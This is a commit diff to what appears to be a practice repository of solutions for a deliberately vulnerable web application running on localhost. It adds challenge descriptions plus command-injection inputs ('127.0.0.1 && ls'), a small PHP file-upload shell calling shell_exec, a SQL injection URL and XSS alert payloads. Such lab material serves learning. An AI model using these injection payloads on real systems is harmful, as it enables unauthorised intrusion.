docs: 📝 Update readme with description of the challenge

Command Injection/README.md

@@ -1,10 +1,14 @@
+# Command Injection
+The aim of this challenge is to inject a command to the server that execute a script.
 # Low
 ```bash
 127.0.0.1 && ls
 ```
 
 # Medium
-> In progress
+```bash
+127.0.0.1 & ls
+```
 
 # High
 > In progress

File injection/exploit.php

@@ -0,0 +1,4 @@
+<?php
+$output = shell_exec('ls');
+echo "<pre>$output</pre>";
+?>

SQL Injection/README.md

@@ -1,3 +1,6 @@
+# SQL Injection
+The aim of this challenge is to inject a SQL command to the server that execute a script.
+
 # Low
 Full url : http://localhost:4280/vulnerabilities/sqli/?id=test%27+OR+1=1--%27&Submit=Submit#
 

XSS (DOM)/README.md

@@ -1,3 +1,6 @@
+# XSS (DOM)
+The aim of this challenge is to inject a script to the server that execute a script.
+
 # Low 
 Full URL : [http://localhost:4280/vulnerabilities/xss_d/?default=French<script>alert("Hello hacker")</script>]()
 

XSS (Stored)/README.md

@@ -1,3 +1,5 @@
+# Stored XSS
+The aim of this challenge is to inject a script to the server that execute a script.
 # Low
 ```javascript
 <script>alert("XSS");</script>